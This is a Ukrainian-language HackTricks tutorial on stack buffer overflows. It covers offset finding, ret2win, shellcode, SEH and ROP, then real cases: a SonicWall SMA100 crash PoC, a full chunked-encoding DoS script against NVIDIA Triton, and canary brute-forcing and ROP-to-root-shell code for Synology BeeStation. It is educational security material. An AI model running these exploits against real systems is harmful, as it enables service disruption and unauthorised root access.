Stack Overflow
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Що таке Stack Overflow
A stack overflow — це вразливість, яка виникає, коли програма записує в stack більше даних, ніж для нього виділено. Ці надлишкові дані перезапишуть сусідню ділянку пам’яті, що призведе до пошкодження коректних даних, порушення потоку керування та, можливо, виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж для введених даних.
Головна проблема цього перезапису в тому, що saved instruction pointer (EIP/RIP) та saved base pointer (EBP/RBP) для повернення до попередньої функції зберігаються на stack. Отже, атакуючий зможе перезаписати їх і контролювати потік виконання програми.
Вразливість зазвичай виникає тому, що функція копіює в stack більше байтів, ніж для нього виділено, тим самим маючи можливість перезаписати інші частини stack.
Деякі поширені функції, уразливі до цього, це: strcpy, strcat, sprintf, gets… Також функції, як-от fgets, read та memcpy, які приймають аргумент довжини, можуть бути використані неналежним чином, якщо вказана довжина більша за виділену.
Наприклад, такі функції можуть бути уразливими:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Знаходження зсувів для Stack Overflows
Найпоширеніший спосіб знайти stack overflows — подати дуже великий вхідний рядок з As (наприклад python3 -c 'print("A"*1000)') і очікувати Segmentation Fault, що вказує, що було спробовано звернутися до адреси 0x41414141.
Крім того, як тільки ви виявили, що існує Stack Overflow vulnerability, потрібно знайти зсув до того місця, де можна overwrite the return address; для цього зазвичай використовують De Bruijn sequence. Яка для заданого алфавіту розміру k і підпослідовностей довжини n є циклічною послідовністю, в якій кожна можлива підпослідовність довжини n з’являється рівно один раз як суміжна підпослідовність.
Таким чином, замість того, щоб вручну визначати, який зсув потрібен, щоб контролювати EIP, можна використати одну з таких послідовностей як padding і потім знайти зсув байтів, які її перезаписали.
Для цього можна використовувати pwntools:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
або GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
Під час overflow (за умови, що розмір overflow достатній) ви зможете overwrite значення локальних змінних у stack доки не досягнете збережених EBP/RBP and EIP/RIP (or even more).
Найпоширеніший спосіб зловживання цим типом вразливості — шляхом modifying the return address, щоб коли функція завершиться, control flow will be redirected wherever the user specified у цьому вказівнику.
Однак в інших сценаріях може бути достатньо просто overwriting some variables values in the stack для експлуатації (наприклад у простих CTF-завданнях).
Ret2win
У такого типу CTF challenges в бінарі є function inside the binary, яка never called і яку you need to call in order to win. Для таких задач потрібно лише знайти offset to overwrite the return address і find the address of the function to call (зазвичай ASLR буде відключено), щоб коли вразлива функція повернеться, прихована функція була викликана:
Stack Shellcode
У цьому сценарії attacker може помістити shellcode у stack і використати контрольований EIP/RIP, щоб перейти до shellcode та виконати arbitrary code:
Windows SEH-based exploitation (nSEH/SEH)
На 32-bit Windows overflow може перезаписати ланцюжок Structured Exception Handler (SEH) замість збереженої return address. Експлуатація зазвичай замінює SEH pointer на POP POP RET gadget і використовує 4-байтове поле nSEH для короткого jump-а, щоб повернутися в великий буфер, де знаходиться shellcode. Поширений патерн — короткий jmp в nSEH, що попадає на 5-байтовий near jmp, розміщений безпосередньо перед nSEH, щоб перепригнути на сотні байтів назад до початку payload.
ROP & Ret2… techniques
Ця техніка є фундаментальною схемою для обходу основного захисту попередньої техніки: No executable stack (NX). Вона також дозволяє виконувати кілька інших підходів (ret2lib, ret2syscall…), які в підсумку дозволяють виконувати arbitrary commands, зловживаючи наявними інструкціями в binary:
Heap Overflows
Overflow не завжди відбувається в stack, він також може бути в heap, наприклад:
Типи захистів
Існує кілька захистів, що намагаються запобігти exploitation вразливостей — перегляньте їх у:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Гарна демонстрація того, чому sscanf should never be trusted for parsing untrusted input з’явилась у 2025 році в SonicWall’s SMA100 SSL-VPN appliance.
Вразлива рутина всередині /usr/src/EasyAccess/bin/httpd намагається витягнути версію та endpoint з будь-якого URI, що починається з /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Перше перетворення (
%2s) безпечно зберігає два байти вversion(наприклад"v1"). - Друге перетворення (
%s) не має специфікатора довжини, томуsscanfпродовжить копіювати до першого NUL byte. - Оскільки
endpointрозташований на stack і має довжину 0x800 bytes, передача шляху довшого за 0x800 bytes пошкоджує все, що знаходиться після буфера ‑ включно з stack canary та saved return address.
Достатньо однорядкового proof-of-concept, щоб спричинити крах before authentication:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Навіть якщо stack canaries припиняють процес, зловмисник все одно отримує примітив Denial-of-Service (а з додатковими information leaks — можлива code-execution).
Реальний приклад: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) містив кілька stack-based overflows, доступних через його HTTP API.
Вразливий шаблон неодноразово з’являвся в http_server.cc та sagemaker_server.cc:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) повертає кількість внутрішніх сегментів буфера, які складають поточне тіло HTTP-запиту.- Кожен сегмент призводить до виділення 16-byte
evbuffer_iovecна stack черезalloca()– без жодної верхньої межі. - Зловживаючи HTTP chunked transfer-encoding, клієнт може змусити запит розбитися на сотні тисяч 6-byte chunks (
"1\r\nA\r\n"). Це змушуєnрости без обмежень, поки stack не буде вичерпано.
Доказ концепції (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Запиту розміром ~3 MB достатньо, щоб перезаписати збережену return address та **crash** daemon у збірці за замовчуванням.
### Реальний приклад: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Цепочка Synacktiv з Pwn2Own 2025 зловживала pre-auth overflow у `SYNO.BEE.AdminCenter.Auth` на порті 5000. `AuthManagerImpl::ParseAuthInfo` Base64-декодує введення від атакуючого у 4096-byte stack buffer, але неправильно встановлює `decoded_len = auth_info->len`. Оскільки CGI worker forks per request, кожна дочірня копія успадковує батьківський stack canary, тож один стабільний overflow primitive достатній, щоб і пошкодити стек, і leak усі необхідні секрети.
#### Base64-decoded JSON як структурований overflow
Декодований бліб має бути дійсним JSON і містити ключі `"state"` і `"code"`; інакше парсер викидає помилку до того, як overflow стане корисним. Synacktiv вирішили це, Base64-енкодивши payload, який декодується у JSON, потім NUL-байт, а потім overflow stream. `strlen(decoded)` зупиняється на NUL, тож парсинг вдається, але `SLIBCBase64Decode` вже перезаписав стек за межами JSON-об’єкта, накривши canary, saved RBP і return address.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi створює fork для кожного HTTP-запиту, тому всі дочірні процеси ділять один і той же canary, розташування стека і PIE slide. The exploit трактує HTTP статус-код як oracle: відповідь 200 означає, що вгаданий байт зберіг стек, тоді як 502 (або обірване з’єднання) означає, що процес аварійно завершився. Brute-forcing кожного байта послідовно відновлює 8-байтовий canary, збережений вказівник стеку та адресу повернення всередині libsynobeeadmincenter.so:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr simply calls bf_next_byte eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.
Від leaks до ROP & виконання
Як тільки база бібліотеки відома, звичайні gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) будують примітив arb_write, який розміщує /bin/bash, -c та команду атакуючого на leaked stack address. Нарешті, ланцюг налаштовує calling convention для SLIBCExecl (a BeeStation wrapper around execl(2)), що дає root shell без потреби в окремому info-leak bug.
Посилання
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

